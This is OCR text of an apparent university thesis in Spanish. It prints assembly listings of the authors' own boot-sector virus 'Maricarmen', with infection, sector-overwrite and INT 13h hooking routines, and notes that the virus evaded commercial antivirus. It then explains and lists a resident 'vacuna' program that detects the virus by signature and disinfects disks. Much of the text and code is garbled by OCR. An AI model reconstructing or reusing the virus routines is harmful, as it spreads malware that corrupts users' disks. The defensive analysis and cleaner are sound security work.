SLEE EL SECTOA 0 DEL DANVEAEN
LA DIRECCION 9FAD:0200h




LISTADO DEL VIRUS *MARICARMEN® (CONTINUA}

ersecnrecerensenisanies

RUTIKA QUE VERIFICA SIEL DISCO

i YA ESTAINFECTARO

INC
MoV

Mov
MOV
Mov

o
COMPARA:  CMPSB

COPIA:

JNZ
DEC
JNZ

RET

SLAX ‘51 DESPLAZAMIENTO DEL INICIO DEL
\PROGRAMA DE CARGA

BX.AX

CX.24 124 BYTES

D1,001AR .O1= DESPLAZAMIENTO DEL AREA DONDE
;SE GURADARAN LOS 24 PRIMEROS BYTES
{DEL VIRUS
iCOMPARA 24 BYTES EN 08:51 CON'

COPIA iLOS 24 BYTES EN E5:S! PARA SABER

cx 1S4 EL DISCO YA ESTA INFECTADO

COMPARA ,51NO ESTA INFECTADO SALTA A LA

SRUTINA DE INFECCION
{REGRESA SIN INFEGTAR

trerrecerastrensatteeirrrennee

AUTINA QUE SUSTITUYE LOS 24 BYTES

DEL PROGRAMA DE CARGA ORIQINAL POR

LOS PRIMEROS 24 BYTES DEL VIRUS
caeneey

cp
REPZ

sus

cLo
REPZ

518X 51 APUNTA A LOS 24 PRIMEROS BYTES DEL
iPROCRAMA DE CARGA

CX24 24 BYTES

01,0002h DI APUNTA AL AREA DONDE SE GUARDARAN

;LOS PRIMEROS 24 BYTES DEL PROGRAMA DE
(CARGA ORIGINAL

MovsB ;TRANSFIERE 24 BYTES DE DS:SI A ES:DI
AXSt
AX24
DILAX DI APUNTA AL COMIENZO DEL PROGRAMA
‘DE CARGA DEL DiSCO A INFECTAR
CX24
S1L001AR iS1APUNTA A LOS PRIMEROS 24 BYTES DEL
VIAUS QUE SUSTITUIRAN A LCS PRIMEROS
124 BYTES DEL PROGRAMA DE CARGA DEL DISCO
MOVSB JEFECTUA LA SUSTITUCION
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LISTADO DEL VIRUS "MARICARMEN® {CONTINUA)

teteraretrsttTTaaTITItesTITITONS
AUTINA QUE ESCRIBE AL VIRUS EN EL
SECTOR 11 DEL DISCO ¥ DEVUELVE AL

SECTOR CERO CON 24 BYTES SUSTITUIDOS

P T

MoV AX,030th
MOV OX,0100h
Mov CX,0003h
MoV 8X,0000h
INT &Dh

MOV AX.9FCOh
MoV ES,AX
Mov AX,0301h
MoV €X,0001h
MoV DX,0000h
MoV BX.0000h
NT 6Dh

RET

JESCRIBE UN SECTOR

;ESCRIBE AL SECTOR 11 DEL DISCO EL VIRUS

;ES-SECTOR DE DATOS
:ESCRIBE UN SECTOR

:DESPLAZAMIENTO DE DATOS
sREGRESA EL SECTOR DE CARGA YA
JINFECTADO EN EL DISCO

51 APUNTA AL COMIENZO DEL PROGRAMA
:BL. CONTENIDO DE LA DIRECCION D$:S!

51 APUNTA A LOS 24 BYTES QUE SERAN
ISUSTITUIDOS POR LOS PRIMERCS 24 BYTES

10l APUNTA AL AREA DONDE SE GUARDARAN
LOS 24 BYTES DEL PROGRAMA DE CARGA

SALMACENA LOS 24 BYTES DE DS:SI EN

;01 APUNTA A LOS 24 BYTES QUE SERAN

51 APUNTA A LOS PRIMEROS 24 BYTES

h
+ RUYINA QUE CONTINUA CON LA INSTALACION
: DEL VIRUS EN UN DISCO SAND
)
s: XOR BX,BX
MOV AX,offsot SECTOR
e A
MoV S1A%
;DE CARGA LEIDO
Mov BLisY
ADD AXBX
INC X
MoV SILAX
:DELVIRUS
MoV cx,26 124 BYTES
Mov O}, oftset CAMBIO
ORIGINAL
[=%]
REPZ MovsB
iLA DIRECCION ES:I
MoV XSl
sus AX24
MoV DLAX
iREMPLAZADOS
MoV CXx.24
MOV Sloltset |
:DEL VIRUS
cLw




LISTADO DEL VIRUS *MARICARMEN" (CONTINUA}

REFZ MOVSB SUSTITUYE LOS PRIMEROS 24 BYTES DEL
VIAUS EN DS.S1 A LOS 24 BYTES DEL

JPROGRAMA DE CARGA EN ES-DY

XOR AXAX DRVE A

MOV (>8] JESCRIBIR 1 SECTOR

(o] ox.o SECTOR

LEA BX SECTOR {DESPLAZAMIENTO DE BUFFER

INT 26h :ESCRIBE EL SECTOREN EL DISCO

POPF

MOV AX,0301h LESCRIBE UN SECTOR

MOV DOX,0100h

MOV CX.0003h

LEA BXVRUS

INT 13h JESCRIBE L VERUS EN EL SECTOR
;41 DEL DISCO

; PISTEEIerRItIIR ISR R et arere

SRETOANAR AL DOS

sFIN DEL PROGRAMA DE INSTALACION

END!
END INICIO

Concluslones.

Como se puede apreciar, el desarrollo da un virus no es complicado, sino
por el contrario, puede etectuarse con mucha facilidad.

El virus presentado aqui, fue probado en equipos PC's de tecnologla AT,
con procesadores 80286 y 80386,
Los paquetes antivirus, tales como el Norton Anti-Virus y el Central Point, los
cuales son considerados como los mas efectivos, no pudieron detectarlo, ni evitar
la infeccion de las computadoras. Esto pone de manifiesto la que se asevera en el
capitulo 3, en donde se sefala que los paquetes antivirus muestran impotencia
contra virus nuevos o ne clasificados,

El analisis de este programa da una idea clara de las muttiples deficiencias
de seguridad presentadas por las computadoras personales, en particular sobre
ol uso da las rutinas de interrupcién, las cuales pueden ser utilizadas por cualquier
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programa, y ! manejo de la RAM, que permite la instalacién de programas
residentes en memaria.

Por otro lado, en el aspecto de deteccién, se encuentra que la idea
generalizada de emplear paquetes antivirus sin conocimiento real del problema o
sin el enfoque apropiado para la situacion particular de los sistemas, ocasiona que
ol desarrollo de nuevas apliaciones viricas se extienda,
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DESARROLLO DE UNA VACUNA CONTRA EL VIRUS
CREADO

El desarrollo de un programa que funcions como una vacuna contra un virus
especlfico implica, antes que nada, un andlisis exhaustivo del comportamiento del
virus en cuestion.

El andilisis deductivo del programa virico debe arrojar como resultado los
elementos necesarios para desarrollar un algoritmo que efectie e! efecto inverso:
restablecer el astado que tenfa el sistema afectado, antes de sufrir el ataque
(comprendiendo por ataque no sélo la accién destructiva del virus, sino incluso al
fanémenao de infeccion). .

En este punto debe considerarse que el nuevo virus creado (“Maricarmen"},
esté perfectamente delimitado y su comportamiento y programa es explicado en el
capitulo 4, de tal manera que el problema de desarrollar un programa vacuna
contra este virus esta 90% resuelto.

En el presente capitulo se harin constantes referencias al capitulo 4, a fin de
fundamentar los principales lineamientos en el desarrollo del programa. Cada
mddulo del programa vacuna se explicard de manera detallada. presentando el
listado completo del programa, todo esto a fin de que sea mds clara la
comprensién de la filosoffa de programacién empleada.



51.

Introduccién.

El andlisis del comportamiento del virus "Maricarmen” sa explica de manera
detallada en el capftulo 4, asi que aqul, solamente listaremos sus principales
caractersticas:

-

El virus se copia en la parte alta de la memoria RAM, en la direccién
9FA0:0000h.

Sustituye el vector de interrupcion 6Dh por et vactor de ia interrupcion 13h
Cambia et valor de! vector de la interrupcién 13h por la direccién de la parte
activa del virus (direccion en RAM = 9FA0:007Ch), de tal manera que el
vector apunta al virus.

Almacena los 24 primeros bytes del programa de carga de! sector cero de
ios disco flexibles en un 4rea especifica dentro de su programa.

Sustituye los 24 bytes almacenados por los primeros 24 bytes de su codigo.
Resta 2Kb de memoria disponible en RAM a fin de proteger la parte aita de ia
memoria en donde se cargd,

Estando activo el virus, infectaré cada disco que se trabaje en el computador,
sismpre y cuando no esté infectado previamente.

Si se trabaja al sexto dia del mes, entre fas 20:00 y 21:00 hrs entonces no
infactard al disco, pero efectuaréd algin dafio (en este caso es solamente un
slacto de remoiino en la pantalia).

Todo disco infectado tendra modificado los primeros 24 byles dél programa
de carga por los primeros 24 bytes del virus. El resto del virus se localizard
en el sector 11 (Root Directory) del disco.

Considerando todos estos puntos, lo primero que debe delimitarse es la
manera en que se detectar4 si un sistema esta contagiado y segundo, la manera
en que se desinfectara.

En la seccion 3.3, se presenta un programa en pascal para detectar virus, Este
programa puede emplearse para a deteccidn del virus "Maricarmen® adicionando
su firma a la lista de virus reconocidos por el programa. La firma del virus son los
24 bytes que se localizan en el sector cero, los cuales se presentan en la
figura 5-1.
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FIGURA 5-1. COMPARACION DE LOS PRIMEROS 28 BYTES DEL PROGRAMA DE CARGA DE UN DISCO
“SAND" Y UNO INFECTADQ POR EL VIRUS MARICARMEN,

Una vez definido el registro correspondiente del virus "Maricarmen”, podré
emplearse este programa para detectar si un disco esta contaminado por el virus.

El programa que se explica en este capitulo, no solamente podra detectar si un
disco esté infectado, sino ademds podré “reparar” los discos infectados.
Cada vez que identifique al virus, enviard un mensaje en la pantalla del
computador para indicar del descubrimiento y procederd a la desinfecclén de
manera automética. El mensaje enviado en pantalla alerta al usuario de la
infeccién, a fin de que tome medidas precautorias y se aboque a identificar el
origen de la infeccién, es decir, si un disco se encontré infectado, debe saberse en
que equipos se ha trabajado, procediendo entonces a analizarse cada uno de
ellos a fin de conocerse si éstos han sido infectados por el disco o si uno de ellos
fué el que infectd al disco.

Al ejecutarse el programa fo primero que realiza es una verificacién de la parte
alta de la memoria, para saber si el virus esta activo. En caso de descubrir qus el
virus esté instalado en la RAM, se envia un mensaje de alerta para indicarselo al
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usuario, pidiéndole apagar el computador y reinicializar con un sisterna operativo
no infectado.

St e! virus no es encontrado en la parte alta de la memoria, entonces el
programa vacuna se instala residente en memoria, interceptando el vector de
interrupcidn 13h, como se aprecia en la figura 5-2.

ROM
| BIOS

FIGURA 5-2.A.INTERRUPCION 13h ANTES DE INSTALARSE EL
PROGRAMA VACUNA.

ROM
BIOS

VACUNA

FIGURA 5-2.A, INTERRUPCION 13h ANTES DE INSTALARSE EL
PROGRAMA YACUNA.

Esto causa un efecto como el de un virus informético, pero el objetivo por el
cual se realiza es muy distinto: al tener acceso a las rutinas del BIOS para et
accaso a los discos, cada vez que se efectlie un intento de lectura o escritura al
drive A, el programa tendré fa oportunidad de checar al disco que se estd
accediendo, a fin de comprobar que no contenga al virus “Maricarmen'.

Si el disco checado no estd contaminado, entonces se procede de manera
normal, de lo contrario, se snvia una alerla en pantalla al usuario para indicarlo. En
este momento, el programa espera que el usuario oprima una tecla, con lo que
ejacutara el médulo de reparacién, para desinfectar al disco.



El programa vacuna cuenta con los siguientes médulos:

« Mddulo de instalacion.

+ Médulo Activo.

« Médulo de chequeo al drive A.

« Médulo de reparacién (desinfeccidn).

E! mddulo de instalacién carga al programa en memoria, a fin de dejarlo
residente en ella, interceptando al vector de la interrupcion 13h, aimacenéndolo en
la variable INTER13 y posteriormente sustituyéndolo por la direccién del médulo
activo. Antes de efectuar la instalacién, ejecuta una rutina de verificacién para
comprobar que el virus no esté instalado en la memoria, de estarlo, desplagara un
mensaje para indicarlo, sugirlendo se apage el computador y se Inicialice el
sistema con un disco desinfectado.

El médulo activo comprueba, cada vez que se quiere lesr o escribir en el disco A,
si el disco accesado estd contagiado por el virus. Si no lo ests, efectia una
emutacidn de la interrupcidn 13h.

Ei médulo de chequeo al drive A efactiia la busqueda de la firma de! virus en el
sector de carga del disco, de esta manera reconoce si el disco esté infectado o
no. La firma del virus se localiza dentro del programa vacuna en [a variable FIRMA,
que consiste de los 24 byles que se suslituyen por los primeros del programa de
carga. De reconocerse un disco infectado, se llama la ejecucidn del médulo de
reparacion.

El médulo de reparacién se encarga de rastablecer el programa de carga dal
sector cero y de borrar al virus del sector 11. La reparacién del sector cero
consiste simplemente en restablecer los 24 bytes remplazados del programa de
carga original, ios que estan almacenados dentro de! cédigo del virus, en el
sector 11.



5.2. Desarrollo en médulos.

El programa vacuna se desarrolla para detectar y desinfectar a los discos
contaminados por e} virus Maricarmen.

La filosof{a de programacién se fundamenta en el comportamiento del virus, Io
cual define el comportamiento que debe observar la vacuna.

En esta seccién se explicard a detalle cada uno de los médulos que componen
al programa vacuna, acompafiando la explicacién con un diagrama de flujo, para
su mejor entendimiento.

Médulo de instalacién.

Este médulo comienza por llamar a una rutina de verificacién de la memoria
RAM, para confirmar que 6l virus no esté instalado en la memoria,

Como se estudid anteriormente, el virus se instala en la parte alta de la
memoria, en la direccidén 9FAQ0:0000h. Dentro del cédigo virus se localizan los
24 bytes que emplea para infectar al sector de carga de los discos sanos,
estos 24 bytes son la firma det virus y se locallzan en la direccion 9FA0:001Ah,
Sabiendo esto, es claro que para verificar la existencia del virus en la RAM
basta con comparar los 24 bytes localizados en esa direccién con la varlable
FIARMA que contiene el cidigo hexadecimal que corresponde a la firma del
virus y que se encuentra dentro del programa en ei drea de variables del
programa, al inicio del mismo, inmediataments después del espacio reservado
para almacenar 'a direccién de la rutina de interrupcion 13h, etiquetada con la
variable INTER13.

La comparacién se efectia empleando la instruccién CMPS la cual compara el
byte ubicado en la direccitn DS:SI con el qus esta en la diraccién ES:DI. Cada
vez que efactla una comparacion incrementa automaticamente los registros Si
y DI. El registro ES as inicializado con el segmento del cédigo del programa y
el registro DS con e} valor 9FACh, que es el valor del segmento en donde se
instala el virus, el registro DI apunta al desplazamiento en donde se encuentra
la variable FIRMA, en el &rea de datos del programa, mientras que el registro SI
sa iguala al valor 001Ah. También se emplea al registro CX como contador de
bytes, por lo que se le da el valor decimal de 24 (18h), para comparar 24 bytes.
Al comparar el primer byte se comprusba si e! sefalizador de ceros en el
registro de banderas esta puesto a uno, lo que significard que los bytes
comparados son iguales. Una vez comparado el primer byte, en caso de ser
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iguales, se decrementa el contador de bytes (registro CX). La comparacién de
bytes se repite hasta que el registro CX sea igual a cero.

Si en la verificacién, se encuentra que alguno de los bytes comparados son
diferentes, sn ese instante se abandonard la verificacion y continuard el
proceso de instalacion de manera narmal.

Si se verifica que los 24 bytes son iguales, entences se llama a una rutina que
daspliega un mensaje en |a pantalla, como el mostrado en la figura 5-4.

ALERTA

LA PARTE ALTA DE LA MEMORIA ESTA INFECTADA POR

EL VIRUS *MARICARMEN".

APAGUE SU COMPUTADORA Y REINICIALICELA CON UN
SISTEMA OPERATIVO NO INFECTADO.

FIGURA 5.4, MENSAJE DE ALEATA AL DETECTARSE EL
VIRUS EN LA PARTE ALTA DE LA MEMORIA RAM,

Este mensaje se encuentra dentro del programa, en el 4rea de datos. el
despliegus del mensaje se efactia empleando la interrupcién 10h dej BIOS. Las
rutinas del BIOS para la computadora AT extienden la intefrupcién 10h para incluir
una opcién de escritura de cadena, "Write String", inicializando AH con el valor 18
decimatl (13h),

La localizacién del mensaje que se va a desplegar, para la-interrupcién 10h, es
indicada por el valor de los registros ES:BP, por lo que se iguala el valor del
registro ES con el de! registro CS (segmento de cddigo), que es el segmento del
programa, y el registro BP apunta al comienzo del mensaje (desplazamiento
dentro del segmento). Et mensaje esta etiquetado con el nombre de la variable
LOGO2. Ef registro DX indica la posicién del cursor en donde se empezaré a
desplegar el mensaje, por lo que se le asigna el valor de 0900h, para indicarle que
comience en el renglén 9, columna 0. En el registro BH se indica el numero de
pégina el cual es inicializado a cero, mientras que el registro AL toma e valor de
01h para indicarle a la interrupcién que después de escribir un caracter, avance el
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cursor a la sigulente posicién. Por Gltimo, se le indica a la interrupcion cuéntos
caracteres se van a desplegar, esto en el registro CX al cual indica 881 caracteres
(371h). En realidad el letrero completo ocupa 880 caracteres, pero se agrega uno
maés con el valor 07h quse no se imprime en la pantalia, pero en cambio emite un
beep en ta bocina del computador.

Por «fimo se smplea la interrupcidn 2th, funcibn AH=08h para osperar un
caracter del teclado. El procasador estara en espera hasta que se registre un
cbddigo en el buffer de teclado, con lo cual continuard con la ejecucién del
programa.

El proceso normal de instalacién continua de la siguiente manera:

Se emplea fa interrupcién 21h con la funcién AH=35h para extraer la
direccién de una interrupcién. La direccion de a interrupcidn que se quiere
extraer se indica en el registro AL=13h,

« Al ejecutarse la interrupcion, la direccidn de la interrupcién 13h se pone en
los ragistros ES:BX. Estos valores son alamacenados en la variable llamada
INTER13, localizada dentro del programa en el érea de datos.

Se emplea la interrupcion 21h ahora con la funcién AH=25h para sustituir el
valor de 1a interrupcién 13h, AL=13h para indicar cual interrupcion se va a
sustituir.

La direccibn que toma ahora el vector 13h es la contenida en ios registros
DS:DX, por io que a éstos se les da el valor de la direccién de la parte activa
del programa, la cual tiene la etiqusta INTERCEPINT (INTERCEPta
{NTerrupcién).

Por dltimo, se emplea la interrupcién 27h para terminar la ejecucién del
programa, pero dejandalo residente en memoria.

Médulo Actlvo.

Este se sjecuta siempre que se emples fa interrupcion 13h. La interrupcién 13h
emplea muchas funciones para el manejo de discos, por lo que es muy utilizada
para escribir y leer en ellos.

Cada vez que se quiera leer o escribir en un disco, este médulo se activard y
comenzara por guardar el valor de todos los registros en la pila, para después
comprobar si es un intento de lectura o escritura, esto evaluando el contenido del
ragistro AH de la siguiente manera;
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* AH=02 - lectura.
» AH=03 - escritura.

Si @l registro AH tiene aiguno de estos valores, entonces se verifica si el intento de
lectura o escritura es al disco A, esto evaluando si el registro DL tiense un valor de
cero,

Una vez comprobado un acceso al disco A para leerlo o escribirlo se procede a
checar el sector cero, para saber sl asta contaminado, llamando al médulo de
chequeo al drive A.

Por ultimo, se rastablecen los valores de todos los registros y se emula una
llamada a la interrupcién 13h.

Mddulo de chequeo al drive A.

Este mddulo comienza su ejecucion leyendo el sector de carga del disco que se
esta accesando, almacenandolo en Ia variable SECTOR, en el érea de datos del
programa.

Una vez hecho esto, se busca la firma del virus en los primeros 24 bytes dal
programa de carga. Para encontrar la direccién ds! comienzo de ase programa,
primero se inlcializa ef valor dei registro AX con la direccién de la variable
SECTOR. Debe recordarse que el primer byte es una instruccion de saltto y el
segundo indica el nimero de bytes a saltar. Por esto, para localizar el comienzo
del programa de carga solamente se debe sumar 2 al valor del segundo byte.

La rutina de comparacién de los 24 bytes es similar a la utilizada por la rutina
llamada VERIFICA, |a cual se explicd en el médulo de instalacién, La dnica
diferencia con esta rutina est4 en los valores de los registros ES,DS,S1,Di. Para
este mddulo, los registros ES y DS tendrén el mismo valor que el CS, ol Sl
apuntard al comienzo del programa de carga en la variable SECTOR y el DI
apuntara a la variable FIRMA.

Sl el resultado ds la comparacién de los 24 bytas es positivo, entonces se llarara
a una rutina de alarma, la cual despliega un mensaje como el mostrado en la
figura 5-5.
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ALERTA

LA PARTE ALTA DE LA MEMORIA ESTA INFECTADA POR
EL VIRUS "MARICARMEN",

OPRIMA CUALQUIER TECLA PARA CONTINUAR, EL DISCO
BERA REPARADO AUTOMATICAMENTE.

FIGURA 56 MENSAJE DE ALERTA AL DETECTARSE EL
VIRUS EN UN DiSCO EN EL DRIVE A

El desplisgue del mensaje se efectia empleando la interrupcién 10h, con la
funcién AH=13h. El registro BP apunta a la direccién del mensaje, el cual se
encuentra en la variable LOGO. Se asignan los valores de (os registros de la
siguiente manera:.

DX = 0900h : renglén 9, columna 0.

CX = 0371h : 371h = 881 caracteres a desplegar

AX = 1301h : funcidn 13h, atributo 1 = escribir un caracter y avanzar la posicién
del cursor.

BX = 004E : BH=0 pégina cero, BL=4E - fondo=4, primer ptano=E ( fondo
rojo, primer plano amarillo).

Por Ultimo se emplea la Interrupcién 21h funcién 08h para esperar un caracter del
teclado, que al registrarse en e! buffer de teclado, se continuard flamando al
médulo de reparacién.

Médulo de reparacién {desinfeccién).

Debe recordarse que el virus almacena los 24 bytes originales del programa de
carga del sector 0 dentro de su c&digo, en los bytes del 3 al 26, por o que se
pueden restablecer a su lugar de origen,

Para efectuar la reparacién, se cemienza cargando en la memoria e! sector 11 en
la variable SECTOR11. Dado que el sector de carga ya se hablfa cargado
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previamente, sclamente se desplazan los 24 bytes correspondiantes, esto
mediante el uso de la instruccién MOVBS, que musve un byte de {a direccién
DS:St a la direccién ES:DI. Cada vez que un byte es transferido se incrementa el
valor de los registros Sl y Di {por emplearse la instruccién CLD). Por esto, el
registro Sl apunta a los 24 bytes originales dentro de la variable SECTOR11, al
comienzo dal programa de carga dentro de la variable SECTOR. Empleando la
instruccion REPZ se puede repetir la instruccién MOVBS CX veces, por o tanto se
pane el valor de 24 al registro CX para transferir 24 bytes.

Terminada esta operacidn se regresa el sector de carga (SECTOR) al primer
sector del disco, ya desinfectado.

Aunque el virus contenido en el sector 11 ya no se podré ejecutar, se ocuparé el
espacio para registro de archivos del Root Directory. Para evitar esto, s8 pone a
cero el contenido ds la variable SECTOR11 y se escribe en el sector 11 del disco,
con lo que se borrard completamente ef virus.




5.3. Listado del programa vacuna.

El programa vacuna se desarrolld en lenguaje ensamblador 80286, con una
estructura modular. Este programa est4 disenado para permanecer rasidenta en
memoria, empleando la interrupcidn 27h, por lo que una parte de su cddigo
permanace activa en la memoria (MODULO ACTIVO). Cada vez que se quiera lesr
o escribir un disco on la unidad A, ¢l mdédulo active ejecuta un chequeo
automético del disco, a fin de detectar y eliminar al virus MARICARMEN.

El listado completo del programa se presenta a continuacion.

UNIVERSIDAD NACIONAL AUTONOMA DE MEXICO
E.N.E.P. ARAGON

PROGRAMA VACUNA CONTRA EL VIRUS "MARICARMEN*

CODSEG SEQMENT
ASSUME C8:CODSEG, DS:CODSEQ
1 ;PREFIJO RESERVADQ PARA LOS PROGRAMAS DOS

INISIO:  JMP CAMVECINT

3 s

; AREA DE DATOS DEL PROGRAMA

§ ;

Loao  Da 1oUP (Y, 14dup ()
o8 130UP (Y ALERTA 14dup ¢}
p8 13DUP (), EEmsCmhEEEeoDRCEEENEEEmEE 14dup ()
o8 130U (). 14dup (9
b8 130UP (), J EL DISCO EN LA UNIDAD A ESTA INFECTADO POR EL 14dup (7
08 13DUP (), | VIRUS "MARICARMEN®, 14dup (9
o8 13DUP (), t1adup ()
o8 13DUP (). | ORPIMA CUALQUIER TECLA PARA CONTINUAR, EL DISCO 14dup ()

[»:] 13DUP { )’ | SERA REPARADO AUTOMATICAMENTE 14dup ()

o8 1apuP () 14dup (3}

D8 130UP() 14dup ( 1.07h
Loao2 D8 tdup (9

b 14dup ()

o8 ALERTA 14dup ()

oB 13DUP () O A U 14dup ()

08 13DUP (), 14 dup ()

[2.:) 13DUP ()" | LA PARTE ALTA DE LA MEMORIA ESTA INFECTADA POR 14dup ()

pa 130UP (). | EL VIRUS "MARICARMEN" 14dup {7

oB 13DUP (). 14dup(y

[»:] 13 DUP (). | APAGUE SE COMPUTADORA Y REINICIALICELA CON UN 14dup (7}

o8 13DUP (9, | SISTEMA OPERATIVO NO INFECTADO, 14dup ()

[ 130UP (), 14dup [ 1,07h
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LISTADO DEL PROGRAMA VACUNA (CONTINUA}

INTER13 DO ?

FIRMA DB 0B8h.0A0h.5Fh.BER,GCON,0B8N,01h,02h,089h,03h,00h 0BAR,
0Ch,01h.0BBH.00h.00h,0C0h. 13h DEAN,00h,00h CACH,5F h
SECTOR’ DB 51200 ()
SECTOR1108 5120UP ()
i

i MODULO ACTIVO DEL FAOGRAMA

RET
INTERCEPINT ENDP

MODULO DE CHEQUEO AL DRIVE A

HECA PROC NEAR
Assume CS:CODSEG, DY:Nothing
areasiteretnrrittenstsertTterree

RUTINA QUE LEE EL SECTOR CERO DEL DISCO
sree S )

e

AXCS .
DS.AX :SEGMENTO DE DATOS=CS
ESAX £8=C8

AX 201 {LEER 1 SECTOR

CX,0001h PNMER SECTOR DEL DISCO

B
IHTERCEPINT PROC FAR

Assume C5:CODSEG, DE:Nothing

PUSHF SALVA ESTADO DE BANDERAS

PUSH AX JQUARDA TODOS LOS REGISTROS

PUSH s

PUSH ol

PUSH os

PUSH €8

PUSH BX

PUSH cx

PUSH OX

cme AH.Q20 +ES UNINTENTO DE LECTURA?

JZ DISCO 181 £5 UNA LECTURA CONTINUA

cMp AH03h LES UN INTENTO DE ESCRITURA?

JNZ NORMAL
DisCO: OA OL.DL

JINZ NORMAL SINOESELDRNEAE.JEOJTAULNTHMNOML

CALL CHECA LLAMA AL MODULO QUE CHECA AL DRIVEA
NORMAL: POP DX {RESTABLECE TODOS LOS VALORES DE LOS REQISTROS

POP X

POP &

POP L5

POP 0s

pOP o

POP ]

pPOP AX

POPF

PUSHF :SIMULA UNA LLAMADA NORMAL DE INTERRUPCION

CALL INTERI3 :TOMAHNDO LA DIRECCION DEL VECTOR SUSTITUIDO

2 :REQRESA DEJANDO EL ESTADO DE LAS BANDERAS INTACTO
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USTADO DEL PROGRAMA VACUNA (CONTINUAY

MOV DX.0000h DRIVE A

MOV BX,offset SECTOR {EL SECTOR LEIDO SE GUARDARA EN LA VARIABLE SECTOR’
PUSHF

CALL INTER13 JLEE EL SECTOR 0 DEL DRIVE A

D e T T
RUTINA QUE VERIFICA St EL DISCO

EBTAINFECTADO
L e L P T
XoA Bx,8X {BX=0
MOV AX,offs et SECTOR
INC AX
MOV SIAX S| APUNTA AL COMIENZO DEL PROGRAMA
:{DE CARQA LEIDO
MOV B[S :BL CONTENIDO DE LA DIRECCION DSSI
ADD AX.BX
INC AX
MOV B1AX i8I APUNTA A LOS 24 BYTES QUE SERAN
COMPARADOS COM LOS 24 BYTES DE LA VARIABLE 'FIFMA®
MoV CX.24 24 AYTES
MOV i, otfsat FIAMA DI APUNTA A LA VARIABLE 'FIRMA’
cLb
COMPARA:
JCOMPARA 24 BYTES EN DS:51CON
JNZ BlAUE ;LOS 24 BYTES EN E8:51 PARA SABER
DEC cx ;81 EL DISCO YA ESTA INFECTADO
JNZ COMPARA ;SINO ESTA INFECTADO SALE DE ESTE MODULO
cal. ALARMA S| ESTA INFECTADO LLAMA A LA RUTINA DE ALARMA
CALL REPARA ALAMA AL MODULO DE REPARACION
SIQUE:  RET
CHECA ENODP

AUTINA QUE DESPLIEGA UN MENSAJE DE ALERTA EN LA PANTALLA

;
;
ALARMA PROC  NEAR

Assume CSICODSEG, DS:Nothing

BP,oftect LOGO iBP APUNTA AL MENSAJE DE LA VARIABLE 'LOGO"
MOV 0X.0900h {RENGLON 8. COLUMNA 0
MOV AX1201h {FUNCION 13h - ESCRIBIF ATRIBUTO DE CADENA
AL=01h - ESCRIBE CARACTER Y AVANZA LA
iPOSICION DEL CURSOR
MoV CX.0371h {ESCRIBE 371h CARACTERES
NOY BXJ04ER sPAGINA CERO, FONDO ROJC Y PRIMER PLANG AMARILLO
INT 10h DESPUEGA EL MENSAJE
Mov AH.08h {FUNCION DBh + ESPERA UN CARAGTER DEL TECLADO
INT 21h \PARA HASTA QUE 5E OPRIMA UNA TECLA

RET
ALARWA ENDP




LISTADO DEL PROGAAMA VACUNA (CONTINUA)

HODULO DE REPARACION OEL DISCO INFECTADO

H

‘REFARA PROC
Assums C!
MOV

MOV
MOV

MoV
PUSHF
CALL

XOR
MOV
NG

MOV

MOV
ADD
INC

MoV

MoV
MOV
INC
INC
CLD
REPZ

MOY
MOV
MoV
MOV
PUSHF
CALL

NEAR

8:CODSEQ, D8:Hothing
h

AX.0201

CX,0003h

0X,0100h

BX,otteat SECTORYY

INTER13

ex.ex
AX,otset SECTOR
AX

§1,A%

BLISY
AX.BX
AX

DI AX

CX24

Si,offset SECTORT1
Ll

8l

Movss

AX,0301h

Cx,0001h

0X.0000h

EX.otiest SECTOR
INTER13

BX.oftsot SECTOR1Y
01.BX

AXAX
(DIAX

sLBx
DLBx
v]
CX51%

Movss

AX,030th
CX,0003h

{LEER UN SECTOR

SECTOR 1N

;DEL DAVE A

:GUARDARLO EN {A VARIABLE 'SECTOR1 1"

{LEER EL SECTOR

BX w0

.51 APUNTA AL COMIENZO DEL PROGRAMA
DE CARGA LEIDO
JBL CONTENIDO DE LA DIRECCION DS:S!

1S1 APUNTA A LOS 24 BYTES QUE SERAN
SUSTITUIDOS POA LOS PRIMEROS 24 BYTES
:DEL PROGRAMA DE CARQA ORIGINAL

24 BYTES

Dt APUNTA AL AREA DONDE SE GUARDARAN
:LOS 24 BYTES DEL PROGRAMA DE CARGA
<ORIGINAL

{TRANSFIERE LOS 24 BYTES DE DS:81 EN

LA DIRECTION ES:DI

{ESCRIBE UN SECTOR

iSECTORCERO

:DEL DAVE A

JESCRIBE LO QUE ESTA EN LA VARIABLE 'SECTOR'

:ESCRIBE EL SECTOR

JPONE UN CERQ EN EL PRIMER BYTE DE LA
VARIABLE 'SECTOR1 1*

{PONE A CERO TODA LA VARIABLE ‘SECTORY1’

<ESCRIBE UN SECTOR
SECTOR U1
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LISTADO DEL PROGRAMA VACUNA (CONTINUA)

MoV DX,0100h {DEL DAVE A
MoV BX,offset SECTOR1Y JESCRIBE EL CONTENIDO DE LA VARIABLE "SECTOR11"
PUSHF
CALL  INTER13 [ESCRIBE EL SECTOR

REPARA ENDP

; WODULO DE INSTALACION DEL PROGRAMA

1 ESTE MODULO INTERCEPTA LA INTERRUPCION 13h E INSTALA AL PROGRAMA COMO
s RESIDENTE EN MEMORIA

CAMVECINT PHOC  NEAR '
Assume CS:CODSEQ, DS:CODSEG

CALL VERIFICA
MOV AH35h JEXTRAE DIRECCION DE INTERRUPCION
MOV AL13h :SELECCIONA INT 13h PARA SUSTITUIR
INT 21h {DMRECCION EN ES:BX
MoV Word Pir INTER13,8X {GUARDA EL DESPLAZAMIENTO DE LA INTERRUPCION
MOV Word Pir INTER13(2) ES {GUARDA EL SEGMENTO DE LA INTERRUPCION
MOV AH.25h {SELECCIONA CAMBIO DE DXRECCION DE INTERRUPCION
(Lo AL13h i{SELECCIONA INT 13h PARA SUSTITUIR DIRECCION EN BS:DX
MOV DX, Cllaut INTERCEPINT
INT 21h {SUSTITUYE INT 13h POR ESTE PROGRAMA
MoV DX, Oifsst CAMVECINT iFIN DE LA PAHTE RESIDENTE EN MEMORIA
INT 27h sTERMINA PERO QUEDA RESIDENTE EN MEMORIA
RET
CAMVECINT ENDP

¥ i
+ ESTE PROCEDIMIENTO EFECTUA UNA RUTINA PARA VERIFICAR QUE EL VIRUS
i NO ESTE INSTALADO EN LA PARTE ALTA DE LA MEMORLA

;
VERIFICA PROC  NEAR '
Assume CS:CODSEQ, DS:Nothing
PUSH DS JOUARDA EL VALOR DE LGS RECISTROS ESY DS

PUSH ES

MOV AX9FAOR

Mov DSAX iSEAMENTO DE DATOS EN DS =9FADh

MoV AX.CS

MOV ES.AX ES=CS

MoV 51001Ah 151 APUNTA A LOS 24 BYTES QUE SERAN
